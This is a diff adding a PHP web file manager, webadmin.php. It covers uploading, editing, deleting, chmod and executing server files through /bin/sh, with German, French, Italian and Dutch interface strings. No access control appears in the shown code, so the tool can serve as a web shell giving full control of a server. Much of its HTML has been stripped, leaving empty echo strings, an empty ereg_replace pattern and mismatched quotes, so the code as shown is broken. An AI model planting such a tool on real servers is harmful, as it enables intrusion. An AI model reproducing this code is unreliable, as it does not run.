+ if (is_script($file)) {
+
+ /* highlight_file is a mess! */
+ ob_start();
+ highlight_file($file);
+ $src = ereg_replace('', '', ob_get_contents());
+ $src = str_replace(array(' ', "\r", "\n"), array('', '', ''), $src);
+ ob_end_clean();
+
+ html_header();
+ echo '' . html($file) . '
+
+
+
+
+
+
+';
+
+ for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n";
+
+ echo '
+
+
+' . $src . '
+
+
+
+
+';
+
+ html_footer();
+
+ } else {
+
+ header('Content-Type: ' . getmimetype($file));
+ header('Content-Disposition: filename=' . basename($file));
+
+ readfile($file);
+
+ }
+
+ break;
+
+case 'download':
+
+ header('Pragma: public');
+ header('Expires: 0');
+ header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
+ header('Content-Type: ' . getmimetype($file));
+ header('Content-Disposition: attachment; filename=' . basename($file) . ';');
+ header('Content-Length: ' . filesize($file));
+
+ readfile($file);
+
+ break;
+
+case 'upload':
+
+ $dest = relative2absolute($file['name'], $directory);
+
+ if (@file_exists($dest)) {
+ listing_page(error('already_exists', $dest));
+ } elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
+ @chmod($dest, $filepermission);
+ listing_page(notice('uploaded', $file['name']));
+ } else {
+ listing_page(error('not_uploaded', $file['name']));
+ }
+
+ break;
+
+case 'create_directory':
+
+ if (@file_exists($file)) {
+ listing_page(error('already_exists', $file));
+ } else {
+ $old = @umask(0777 & ~$dirpermission);
+ if (@mkdir($file, $dirpermission)) {
+ listing_page(notice('created', $file));
+ } else {
+ listing_page(error('not_created', $file));
+ }
+ @umask($old);
+ }
+
+ break;
+
+case 'create_file':
+
+ if (@file_exists($file)) {
+ listing_page(error('already_exists', $file));
+ } else {
+ $old = @umask(0777 & ~$filepermission);
+ if (@touch($file)) {
+ edit($file);
+ } else {
+ listing_page(error('not_created', $file));
+ }
+ @umask($old);
+ }
+
+ break;
+
+case 'execute':
+
+ chdir(dirname($file));
+
+ $output = array();
+ $retval = 0;
+ exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);
+
+ $error = ($retval == 0) ? false : true;
+
+ if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>');
+
+ if ($error) {
+ listing_page(error('not_executed', $file, implode("\n", $output)));
+ } else {
+ listing_page(notice('executed', $file, implode("\n", $output)));
+ }
+
+ break;
+
+case 'delete':
+
+ if (!empty($_POST['no'])) {
+ listing_page();
+ } elseif (!empty($_POST['yes'])) {
+
+ $failure = array();
+ $success = array();
+
+ foreach ($files as $file) {
+ if (del($file)) {
+ $success[] = $file;
+ } else {
+ $failure[] = $file;
+ }
+ }
+
+ $message = '';
+ if (sizeof($failure) > 0) {
+ $message = error('not_deleted', implode("\n", $failure));
+ }
+ if (sizeof($success) > 0) {
+ $message .= notice('deleted', implode("\n", $success));
+ }
+
+ listing_page($message);
+
+ } else {
+
+ html_header();
+
+ echo '
+
+
+
+';
+
+ html_footer();
+
+ }
+
+ break;
+
+case 'rename':
+
+ if (!empty($_POST['destination'])) {
+
+ $dest = relative2absolute($_POST['destination'], $directory);
+
+ if (!@file_exists($dest) && @rename($file, $dest)) {
+ listing_page(notice('renamed', $file, $dest));
+ } else {
+ listing_page(error('not_renamed', $file, $dest));
+ }
+
+ } else {
+
+ $name = basename($file);
+
+ html_header();
+
+ echo '
+
+
+
+[ ' . word('back') . ' ]
+
+
+
+';
+
+ html_footer();
+
+ }
+
+ break;
+
+case 'move':
+
+ if (!empty($_POST['destination'])) {
+
+ $dest = relative2absolute($_POST['destination'], $directory);
+
+ $failure = array();
+ $success = array();
+
+ foreach ($files as $file) {
+ $filename = substr($file, strlen($directory));
+ $d = $dest . $filename;
+ if (!@file_exists($d) && @rename($file, $d)) {
+ $success[] = $file;
+ } else {
+ $failure[] = $file;
+ }
+ }
+
+ $message = '';
+ if (sizeof($failure) > 0) {
+ $message = error('not_moved', implode("\n", $failure), $dest);
+ }
+ if (sizeof($success) > 0) {
+ $message .= notice('moved', implode("\n", $success), $dest);
+ }
+
+ listing_page($message);
+
+ } else {
+
+ html_header();
+
+ echo '
+
+
+
+[ ' . word('back') . ' ]
+
+
+
+';
+
+ html_footer();
+
+ }
+
+ break;
+
+case 'copy':
+
+ if (!empty($_POST['destination'])) {
+
+ $dest = relative2absolute($_POST['destination'], $directory);
+
+ if (@is_dir($dest)) {
+
+ $failure = array();
+ $success = array();
+
+ foreach ($files as $file) {
+ $filename = substr($file, strlen($directory));
+ $d = addslash($dest) . $filename;
+ if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
+ $success[] = $file;
+ } else {
+ $failure[] = $file;
+ }
+ }
+
+ $message = '';
+ if (sizeof($failure) > 0) {
+ $message = error('not_copied', implode("\n", $failure), $dest);
+ }
+ if (sizeof($success) > 0) {
+ $message .= notice('copied', implode("\n", $success), $dest);
+ }
+
+ listing_page($message);
+
+ } else {
+
+ if (!@file_exists($dest) && @copy($file, $dest)) {
+ listing_page(notice('copied', $file, $dest));
+ } else {
+ listing_page(error('not_copied', $file, $dest));
+ }
+
+ }
+
+ } else {
+
+ html_header();
+
+ echo '
+
+
+
+[ ' . word('back') . ' ]
+
+
+
+';
+
+ html_footer();
+
+ }
+
+ break;
+
+case 'create_symlink':
+
+ if (!empty($_POST['destination'])) {
+
+ $dest = relative2absolute($_POST['destination'], $directory);
+
+ if (substr($dest, -1, 1) == $delim) $dest .= basename($file);
+
+ if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);
+
+ if (!@file_exists($dest) && @symlink($file, $dest)) {
+ listing_page(notice('symlinked', $file, $dest));
+ } else {
+ listing_page(error('not_symlinked', $file, $dest));
+ }
+
+ } else {
+
+ html_header();
+
+ echo '
+
+
+
+[ ' . word('back') . ' ]
+
+
+
+';
+
+ html_footer();
+
+ }
+
+ break;
+
+case 'edit':
+
+ if (!empty($_POST['save'])) {
+
+ $content = str_replace("\r\n", "\n", $_POST['content']);
+
+ if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
+ listing_page(notice('saved', $file));
+ } else {
+ listing_page(error('not_saved', $file));
+ }
+
+ } else {
+
+ if (@is_readable($file) && @is_writable($file)) {
+ edit($file);
+ } else {
+ listing_page(error('not_edited', $file));
+ }
+
+ }
+
+ break;
+
+case 'permission':
+
+ if (!empty($_POST['set'])) {
+
+ $mode = 0;
+ if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
+ if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
+ if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;
+
+ if (@chmod($file, $mode)) {
+ listing_page(notice('permission_set', $file, decoct($mode)));
+ } else {
+ listing_page(error('permission_not_set', $file, decoct($mode)));
+ }
+
+ } else {
+
+ html_header();
+
+ $mode = fileperms($file);
+
+ echo '
+
+
+
+[ ' . word('back') . ' ]
+
+
+
+';
+
+ html_footer();
+
+ }
+
+ break;
+
+default:
+
+ listing_page();
+
+}
+
+/* ------------------------------------------------------------------------- */
+
+function getlist ($directory) {
+ global $delim, $win;
+
+ if ($d = @opendir($directory)) {
+
+ while (($filename = @readdir($d)) !== false) {
+
+ $path = $directory . $filename;
+
+ if ($stat = @lstat($path)) {
+
+ $file = array(
+ 'filename' => $filename,
+ 'path' => $path,
+ 'is_file' => @is_file($path),
+ 'is_dir' => @is_dir($path),
+ 'is_link' => @is_link($path),
+ 'is_readable' => @is_readable($path),
+ 'is_writable' => @is_writable($path),
+ 'size' => $stat['size'],
+ 'permission' => $stat['mode'],
+ 'owner' => $stat['uid'],
+ 'group' => $stat['gid'],
+ 'mtime' => @filemtime($path),
+ 'atime' => @fileatime($path),
+ 'ctime' => @filectime($path)
+ );
+
+ if ($file['is_dir']) {
+ $file['is_executable'] = @file_exists($path . $delim . '.');
+ } else {
+ if (!$win) {
+ $file['is_executable'] = @is_executable($path);
+ } else {
+ $file['is_executable'] = true;
+ }
+ }
+
+ if ($file['is_link']) $file['target'] = @readlink($path);
+
+ if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
+ if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));
+
+ $files[] = $file;
+
+ }
+
+ }
+
+ return $files;
+
+ } else {
+ return false;
+ }
+
+}
+
+function sortlist (&$list, $key, $reverse) {
+
+ quicksort($list, 0, sizeof($list) - 1, $key);
+
+ if ($reverse) $list = array_reverse($list);
+
+}
+
+function quicksort (&$array, $first, $last, $key) {
+
+ if ($first < $last) {
+
+ $cmp = $array[floor(($first + $last) / 2)][$key];
+
+ $l = $first;
+ $r = $last;
+
+ while ($l <= $r) {
+
+ while ($array[$l][$key] < $cmp) $l++;
+ while ($array[$r][$key] > $cmp) $r--;
+
+ if ($l <= $r) {
+
+ $tmp = $array[$l];
+ $array[$l] = $array[$r];
+ $array[$r] = $tmp;
+
+ $l++;
+ $r--;
+
+ }
+
+ }
+
+ quicksort($array, $first, $r, $key);
+ quicksort($array, $l, $last, $key);
+
+ }
+
+}
+
+function permission_octal2string ($mode) {
+
+ if (($mode & 0xC000) === 0xC000) {
+ $type = 's';
+ } elseif (($mode & 0xA000) === 0xA000) {
+ $type = 'l';
+ } elseif (($mode & 0x8000) === 0x8000) {
+ $type = '-';
+ } elseif (($mode & 0x6000) === 0x6000) {
+ $type = 'b';
+ } elseif (($mode & 0x4000) === 0x4000) {
+ $type = 'd';
+ } elseif (($mode & 0x2000) === 0x2000) {
+ $type = 'c';
+ } elseif (($mode & 0x1000) === 0x1000) {
+ $type = 'p';
+ } else {
+ $type = '?';
+ }
+
+ $owner = ($mode & 00400) ? 'r' : '-';
+ $owner .= ($mode & 00200) ? 'w' : '-';
+ if ($mode & 0x800) {
+ $owner .= ($mode & 00100) ? 's' : 'S';
+ } else {
+ $owner .= ($mode & 00100) ? 'x' : '-';
+ }
+
+ $group = ($mode & 00040) ? 'r' : '-';
+ $group .= ($mode & 00020) ? 'w' : '-';
+ if ($mode & 0x400) {
+ $group .= ($mode & 00010) ? 's' : 'S';
+ } else {
+ $group .= ($mode & 00010) ? 'x' : '-';
+ }
+
+ $other = ($mode & 00004) ? 'r' : '-';
+ $other .= ($mode & 00002) ? 'w' : '-';
+ if ($mode & 0x200) {
+ $other .= ($mode & 00001) ? 't' : 'T';
+ } else {
+ $other .= ($mode & 00001) ? 'x' : '-';
+ }
+
+ return $type . $owner . $group . $other;
+
+}
+
+function is_script ($filename) {
+ return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);
+}
+
+function getmimetype ($filename) {
+ static $mimes = array(
+ '\.jpg$|\.jpeg$' => 'image/jpeg',
+ '\.gif$' => 'image/gif',
+ '\.png$' => 'image/png',
+ '\.html$|\.html$' => 'text/html',
+ '\.txt$|\.asc$' => 'text/plain',
+ '\.xml$|\.xsl$' => 'application/xml',
+ '\.pdf$' => 'application/pdf'
+ );
+
+ foreach ($mimes as $regex => $mime) {
+ if (eregi($regex, $filename)) return $mime;
+ }
+
+ // return 'application/octet-stream';
+ return 'text/plain';
+
+}
+
+function del ($file) {
+ global $delim;
+
+ if (!@is_link($file) && !file_exists($file)) return false;
+
+ if (!@is_link($file) && @is_dir($file)) {
+
+ if ($dir = @opendir($file)) {
+
+ $error = false;
+
+ while (($f = readdir($dir)) !== false) {
+ if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
+ $error = true;
+ }
+ }
+ closedir($dir);
+
+ if (!$error) return @rmdir($file);
+
+ return !$error;
+
+ } else {
+ return false;
+ }
+
+ } else {
+ return @unlink($file);
+ }
+
+}
+
+function addslash ($directory) {
+ global $delim;
+
+ if (substr($directory, -1, 1) != $delim) {
+ return $directory . $delim;
+ } else {
+ return $directory;
+ }
+
+}
+
+function relative2absolute ($string, $directory) {
+
+ if (path_is_relative($string)) {
+ return simplify_path(addslash($directory) . $string);
+ } else {
+ return simplify_path($string);
+ }
+
+}
+
+function path_is_relative ($path) {
+ global $win;
+
+ if ($win) {
+ return (substr($path, 1, 1) != ':');
+ } else {
+ return (substr($path, 0, 1) != '/');
+ }
+
+}
+
+function absolute2relative ($directory, $target) {
+ global $delim;
+
+ $path = '';
+ while ($directory != $target) {
+ if ($directory == substr($target, 0, strlen($directory))) {
+ $path .= substr($target, strlen($directory));
+ break;
+ } else {
+ $path .= '..' . $delim;
+ $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
+ }
+ }
+ if ($path == '') $path = '.';
+
+ return $path;
+
+}
+
+function simplify_path ($path) {
+ global $delim;
+
+ if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
+ $path = realpath($path);
+ if (@is_dir($path)) {
+ return addslash($path);
+ } else {
+ return $path;
+ }
+ }
+
+ $pattern = $delim . '.' . $delim;
+
+ if (@is_dir($path)) {
+ $path = addslash($path);
+ }
+
+ while (strpos($path, $pattern) !== false) {
+ $path = str_replace($pattern, $delim, $path);
+ }
+
+ $e = addslashes($delim);
+ $regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;
+
+ while (ereg($regex, $path)) {
+ $path = ereg_replace($regex, $delim, $path);
+ }
+
+ return $path;
+
+}
+
+function human_filesize ($filesize) {
+
+ $suffices = 'kMGTPE';
+
+ $n = 0;
+ while ($filesize >= 1000) {
+ $filesize /= 1024;
+ $n++;
+ }
+
+ $filesize = round($filesize, 3 - strpos($filesize, '.'));
+
+ if (strpos($filesize, '.') !== false) {
+ while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
+ $filesize = substr($filesize, 0, strlen($filesize) - 1);
+ }
+ }
+
+ $suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));
+
+ return $filesize . " {$suffix}B";
+
+}
+
+function strip (&$str) {
+ $str = stripslashes($str);
+}
+
+/* ------------------------------------------------------------------------- */
+
+function listing_page ($message = null) {
+ global $self, $directory, $sort, $reverse;
+
+ html_header();
+
+ $list = getlist($directory);
+
+ if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
+ if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;
+
+ sortlist($list, $sort, $reverse);
+
+ echo 'webadmin.php
+
+
+
+
+';
+
+ directory_choice();
+
+ if (!empty($message)) {
+ spacer();
+ echo $message;
+ }
+
+ if (@is_writable($directory)) {
+ upload_box();
+ create_box();
+ } else {
+ spacer();
+ }
+
+ if ($list) {
+ listing($list);
+ } else {
+ echo error('not_readable', $directory);
+ }
+
+ echo '
+
+
+
+';
+
+ html_footer();
+
+}
+
+function listing ($list) {
+ global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
+
+ echo '
+
+';
+
+ $d = 'dir=' . urlencode($directory) . '&';
+
+ if (!$reverse && $sort == 'filename') $r = '&reverse=true'; else $r = '';
+ echo "\t" . word('filename') . " \n";
+
+ if (!$reverse && $sort == 'size') $r = '&reverse=true'; else $r = '';
+ echo "\t" . word('size') . " \n";
+
+ if (!$win) {
+
+ if (!$reverse && $sort == 'permission') $r = '&reverse=true'; else $r = '';
+ echo "\t\n";
+
+ if (!$reverse && $sort == 'owner') $r = '&reverse=true'; else $r = '';
+ echo "\t" . word('owner') . " \n";
+
+ if (!$reverse && $sort == 'group') $r = '&reverse=true'; else $r = '';
+ echo "\t" . word('group') . " \n";
+
+ }
+
+ echo ' ' . word('functions') . '
+
+';
+
+ for ($i = 0; $i < sizeof($list); $i++) {
+ $file = $list[$i];
+
+ $timestamps = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
+ $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
+ $timestamps .= 'ctime: ' . date($date_format, $file['ctime']);
+
+ echo '
+
+ ';
+
+ if ($file['is_link']) {
+
+ echo ' ';
+ echo html($file['filename']) . ' → ';
+
+ $real_file = relative2absolute($file['target'], $directory);
+
+ if (@is_readable($real_file)) {
+ if (@is_dir($real_file)) {
+ echo '[ ' . html($file['target']) . ' ]';
+ } else {
+ echo '' . html($file['target']) . ' ';
+ }
+ } else {
+ echo html($file['target']);
+ }
+
+ } elseif ($file['is_dir']) {
+
+ echo ' [ ';
+ if ($win || $file['is_executable']) {
+ echo '' . html($file['filename']) . ' ';
+ } else {
+ echo html($file['filename']);
+ }
+ echo ' ]';
+
+ } else {
+
+ if (substr($file['filename'], 0, 1) == '.') {
+ echo ' ';
+ } else {
+ echo ' ';
+ }
+
+ if ($file['is_file'] && $file['is_readable']) {
+ echo '' . html($file['filename']) . ' ';
+ } else {
+ echo html($file['filename']);
+ }
+
+ }
+
+ if ($file['size'] >= 1000) {
+ $human = ' title="' . human_filesize($file['size']) . '"';
+ } else {
+ $human = '';
+ }
+
+ echo "\t {$file['size']} B \n";
+
+ if (!$win) {
+
+ echo "\t';
+
+ $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
+ if ($l) echo '';
+ echo html(permission_octal2string($file['permission']));
+ if ($l) echo ' ';
+
+ echo " \n";
+
+ if (array_key_exists('owner_name', $file)) {
+ echo "\t{$file['owner_name']} \n";
+ } else {
+ echo "\t{$file['owner']} \n";
+ }
+
+ if (array_key_exists('group_name', $file)) {
+ echo "\t{$file['group_name']} \n";
+ } else {
+ echo "\t{$file['group']} \n";
+ }
+
+ }
+
+ echo '
+
+';
+
+ $actions = array();
+ if (function_exists('symlink')) {
+ $actions[] = 'create_symlink';
+ }
+ if (@is_writable(dirname($file['path']))) {
+ $actions[] = 'delete';
+ $actions[] = 'rename';
+ $actions[] = 'move';
+ }
+ if ($file['is_file'] && $file['is_readable']) {
+ $actions[] = 'copy';
+ $actions[] = 'download';
+ if ($file['is_writable']) $actions[] = 'edit';
+ }
+ if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
+ $actions[] = 'execute';
+ }
+
+ if (sizeof($actions) > 0) {
+
+ echo '
+ ' . str_repeat(' ', 30) . '
+';
+
+ foreach ($actions as $action) {
+ echo "\t\t" . word($action) . " \n";
+ }
+
+ echo '
+
+';
+
+ }
+
+ echo '
+
+';
+
+ }
+
+ echo '
+';
+
+}
+
+function directory_choice () {
+ global $directory, $homedir, $cols, $self;
+
+ echo '
+
+ ' . word('directory') . ' :
+
+
+
+
+';
+
+}
+
+function upload_box () {
+ global $cols;
+
+ echo '
+
+ ' . word('file') . ':
+
+
+
+
+';
+
+}
+
+function create_box () {
+ global $cols;
+
+ echo '
+
+
+ ' . word('file') . '
+ ' . word('directory') . '
+
+
+
+
+
+';
+
+}
+
+function edit ($file) {
+ global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;
+
+ html_header();
+
+ echo '' . html($file) . '
+
+
+
+
+
+[ ' . word('back') . ' ]
+
+
+
+';
+
+ html_footer();
+
+}
+
+function spacer () {
+ global $cols;
+
+ echo '
+
+
+';
+
+}
+
+function textfieldsize ($content) {
+
+ $size = strlen($content) + 5;
+ if ($size < 30) $size = 30;
+
+ return $size;
+
+}
+
+function request_dump () {
+
+ foreach ($_REQUEST as $key => $value) {
+ echo "\t \n";
+ }
+
+}
+
+/* ------------------------------------------------------------------------- */
+
+function html ($string) {
+ global $site_charset;
+ return htmlentities($string, ENT_COMPAT, $site_charset);
+}
+
+function word ($word) {
+ global $words, $word_charset;
+ return htmlentities($words[$word], ENT_COMPAT, $word_charset);
+}
+
+function phrase ($phrase, $arguments) {
+ global $words;
+ static $search;
+
+ if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i";
+
+ for ($i = 0; $i < sizeof($arguments); $i++) {
+ $arguments[$i] = nl2br(html($arguments[$i]));
+ }
+
+ $replace = array('{' => '', '}' =>' ', '[' => '', ']' => ' ');
+
+ return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
+
+}
+
+function getwords ($lang) {
+ global $word_charset, $date_format;
+
+ switch ($lang) {
+ case 'de':
+
+ $date_format = 'd.m.y H:i:s';
+ $word_charset = 'ISO-8859-1';
+
+ return array(
+'directory' => 'Verzeichnis',
+'file' => 'Datei',
+'filename' => 'Dateiname',
+
+'size' => 'Größe',
+'permission' => 'Rechte',
+'owner' => 'Eigner',
+'group' => 'Gruppe',
+'other' => 'Andere',
+'functions' => 'Funktionen',
+
+'read' => 'lesen',
+'write' => 'schreiben',
+'execute' => 'ausführen',
+
+'create_symlink' => 'Symlink erstellen',
+'delete' => 'löschen',
+'rename' => 'umbenennen',
+'move' => 'verschieben',
+'copy' => 'kopieren',
+'edit' => 'editieren',
+'download' => 'herunterladen',
+'upload' => 'hochladen',
+'create' => 'erstellen',
+'change' => 'wechseln',
+'save' => 'speichern',
+'set' => 'setze',
+'reset' => 'zurücksetzen',
+'relative' => 'Pfad zum Ziel relativ',
+
+'yes' => 'Ja',
+'no' => 'Nein',
+'back' => 'zurück',
+'destination' => 'Ziel',
+'symlink' => 'Symbolischer Link',
+'no_output' => 'keine Ausgabe',
+
+'user' => 'Benutzername',
+'password' => 'Kennwort',
+'add' => 'hinzufügen',
+'add_basic_auth' => 'HTTP-Basic-Auth hinzufügen',
+
+'uploaded' => '"[%1]" wurde hochgeladen.',
+'not_uploaded' => '"[%1]" konnte nicht hochgeladen werden.',
+'already_exists' => '"[%1]" existiert bereits.',
+'created' => '"[%1]" wurde erstellt.',
+'not_created' => '"[%1]" konnte nicht erstellt werden.',
+'really_delete' => 'Sollen folgende Dateien wirklich gelöscht werden?',
+'deleted' => "Folgende Dateien wurden gelöscht:\n[%1]",
+'not_deleted' => "Folgende Dateien konnten nicht gelöscht werden:\n[%1]",
+'rename_file' => 'Benenne Datei um:',
+'renamed' => '"[%1]" wurde in "[%2]" umbenannt.',
+'not_renamed' => '"[%1] konnte nicht in "[%2]" umbenannt werden.',
+'move_files' => 'Verschieben folgende Dateien:',
+'moved' => "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]",
+'not_moved' => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]",
+'copy_files' => 'Kopiere folgende Dateien:',
+'copied' => "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]",
+'not_copied' => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]",
+'not_edited' => '"[%1]" kann nicht editiert werden.',
+'executed' => "\"[%1]\" wurde erfolgreich ausgeführt:\n{%2}",
+'not_executed' => "\"[%1]\" konnte nicht erfolgreich ausgeführt werden:\n{%2}",
+'saved' => '"[%1]" wurde gespeichert.',
+'not_saved' => '"[%1]" konnte nicht gespeichert werden.',
+'symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" wurde erstellt.',
+'not_symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" konnte nicht erstellt werden.',
+'permission_for' => 'Rechte für "[%1]":',
+'permission_set' => 'Die Rechte für "[%1]" wurden auf [%2] gesetzt.',
+'permission_not_set' => 'Die Rechte für "[%1]" konnten nicht auf [%2] gesetzt werden.',
+'not_readable' => '"[%1]" kann nicht gelesen werden.'
+ );
+
+ case 'fr':
+
+ $date_format = 'd.m.y H:i:s';
+ $word_charset = 'ISO-8859-1';
+
+ return array(
+'directory' => 'Répertoire',
+'file' => 'Fichier',
+'filename' => 'Nom fichier',
+
+'size' => 'Taille',
+'permission' => 'Droits',
+'owner' => 'Propriétaire',
+'group' => 'Groupe',
+'other' => 'Autres',
+'functions' => 'Fonctions',
+
+'read' => 'Lire',
+'write' => 'Ecrire',
+'execute' => 'Exécuter',
+
+'create_symlink' => 'Créer lien symbolique',
+'delete' => 'Effacer',
+'rename' => 'Renommer',
+'move' => 'Déplacer',
+'copy' => 'Copier',
+'edit' => 'Ouvrir',
+'download' => 'Télécharger sur PC',
+'upload' => 'Télécharger sur serveur',
+'create' => 'Créer',
+'change' => 'Changer',
+'save' => 'Sauvegarder',
+'set' => 'Exécuter',
+'reset' => 'Réinitialiser',
+'relative' => 'Relatif',
+
+'yes' => 'Oui',
+'no' => 'Non',
+'back' => 'Retour',
+'destination' => 'Destination',
+'symlink' => 'Lien symbollique',
+'no_output' => 'Pas de sortie',
+
+'user' => 'Utilisateur',
+'password' => 'Mot de passe',
+'add' => 'Ajouter',
+'add_basic_auth' => 'add basic-authentification',
+
+'uploaded' => '"[%1]" a été téléchargé sur le serveur.',
+'not_uploaded' => '"[%1]" n a pas été téléchargé sur le serveur.',
+'already_exists' => '"[%1]" existe déjà.',
+'created' => '"[%1]" a été créé.',
+'not_created' => '"[%1]" n a pas pu être créé.',
+'really_delete' => 'Effacer le fichier?',
+'deleted' => "Ces fichiers ont été détuits:\n[%1]",
+'not_deleted' => "Ces fichiers n ont pu être détruits:\n[%1]",
+'rename_file' => 'Renomme fichier:',
+'renamed' => '"[%1]" a été renommé en "[%2]".',
+'not_renamed' => '"[%1] n a pas pu être renommé en "[%2]".',
+'move_files' => 'Déplacer ces fichiers:',
+'moved' => "Ces fichiers ont été déplacés en \"[%2]\":\n[%1]",
+'not_moved' => "Ces fichiers n ont pas pu être déplacés en \"[%2]\":\n[%1]",
+'copy_files' => 'Copier ces fichiers:',
+'copied' => "Ces fichiers ont été copiés en \"[%2]\":\n[%1]",
+'not_copied' => "Ces fichiers n ont pas pu être copiés en \"[%2]\":\n[%1]",
+'not_edited' => '"[%1]" ne peut être ouvert.',
+'executed' => "\"[%1]\" a été brillamment exécuté :\n{%2}",
+'not_executed' => "\"[%1]\" n a pas pu être exécuté:\n{%2}",
+'saved' => '"[%1]" a été sauvegardé.',
+'not_saved' => '"[%1]" n a pas pu être sauvegardé.',
+'symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" a été crée.',
+'not_symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu être créé.',
+'permission_for' => 'Droits de "[%1]":',
+'permission_set' => 'Droits de "[%1]" ont été changés en [%2].',
+'permission_not_set' => 'Droits de "[%1]" n ont pas pu être changés en[%2].',
+'not_readable' => '"[%1]" ne peut pas être ouvert.'
+ );
+
+ case 'it':
+
+ $date_format = 'd-m-Y H:i:s';
+ $word_charset = 'ISO-8859-1';
+
+ return array(
+'directory' => 'Directory',
+'file' => 'File',
+'filename' => 'Nome File',
+
+'size' => 'Dimensioni',
+'permission' => 'Permessi',
+'owner' => 'Proprietario',
+'group' => 'Gruppo',
+'other' => 'Altro',
+'functions' => 'Funzioni',
+
+'read' => 'leggi',
+'write' => 'scrivi',
+'execute' => 'esegui',
+
+'create_symlink' => 'crea link simbolico',
+'delete' => 'cancella',
+'rename' => 'rinomina',
+'move' => 'sposta',
+'copy' => 'copia',
+'edit' => 'modifica',
+'download' => 'download',
+'upload' => 'upload',
+'create' => 'crea',
+'change' => 'cambia',
+'save' => 'salva',
+'set' => 'imposta',
+'reset' => 'reimposta',
+'relative' => 'Percorso relativo per la destinazione',
+
+'yes' => 'Si',
+'no' => 'No',
+'back' => 'indietro',
+'destination' => 'Destinazione',
+'symlink' => 'Link simbolico',
+'no_output' => 'no output',
+
+'user' => 'User',
+'password' => 'Password',
+'add' => 'aggiungi',
+'add_basic_auth' => 'aggiungi autenticazione base',
+
+'uploaded' => '"[%1]" è stato caricato.',
+'not_uploaded' => '"[%1]" non è stato caricato.',
+'already_exists' => '"[%1]" esiste già.',
+'created' => '"[%1]" è stato creato.',
+'not_created' => '"[%1]" non è stato creato.',
+'really_delete' => 'Cancello questi file ?',
+'deleted' => "Questi file sono stati cancellati:\n[%1]",
+'not_deleted' => "Questi file non possono essere cancellati:\n[%1]",
+'rename_file' => 'File rinominato:',
+'renamed' => '"[%1]" è stato rinominato in "[%2]".',
+'not_renamed' => '"[%1] non è stato rinominato in "[%2]".',
+'move_files' => 'Sposto questi file:',
+'moved' => "Questi file sono stati spostati in \"[%2]\":\n[%1]",
+'not_moved' => "Questi file non possono essere spostati in \"[%2]\":\n[%1]",
+'copy_files' => 'Copio questi file',
+'copied' => "Questi file sono stati copiati in \"[%2]\":\n[%1]",
+'not_copied' => "Questi file non possono essere copiati in \"[%2]\":\n[%1]",
+'not_edited' => '"[%1]" non può essere modificato.',
+'executed' => "\"[%1]\" è stato eseguito con successo:\n{%2}",
+'not_executed' => "\"[%1]\" non è stato eseguito con successo\n{%2}",
+'saved' => '"[%1]" è stato salvato.',
+'not_saved' => '"[%1]" non è stato salvato.',
+'symlinked' => 'Il link siambolico da "[%2]" a "[%1]" è stato creato.',
+'not_symlinked' => 'Il link siambolico da "[%2]" a "[%1]" non è stato creato.',
+'permission_for' => 'Permessi di "[%1]":',
+'permission_set' => 'I permessi di "[%1]" sono stati impostati [%2].',
+'permission_not_set' => 'I permessi di "[%1]" non sono stati impostati [%2].',
+'not_readable' => '"[%1]" non può essere letto.'
+ );
+
+ case 'nl':
+
+ $date_format = 'n/j/y H:i:s';
+ $word_charset = 'ISO-8859-1';
+
+ return array(
+'directory' => 'Directory',
+'file' => 'Bestand',
+'filename' => 'Bestandsnaam',
+
+'size' => 'Grootte',
+'permission' => 'Bevoegdheid',
+'owner' => 'Eigenaar',
+'group' => 'Groep',
+'other' => 'Anderen',
+'functions' => 'Functies',
+
+'read' => 'lezen',
+'write' => 'schrijven',
+'execute' => 'uitvoeren',
+
+'create_symlink' => 'maak symlink',
+'delete' => 'verwijderen',
+'rename' => 'hernoemen',
+'move' => 'verplaatsen',
+'copy' => 'kopieren',
+'edit' => 'bewerken',
+'download' => 'downloaden',
+'upload' => 'uploaden',
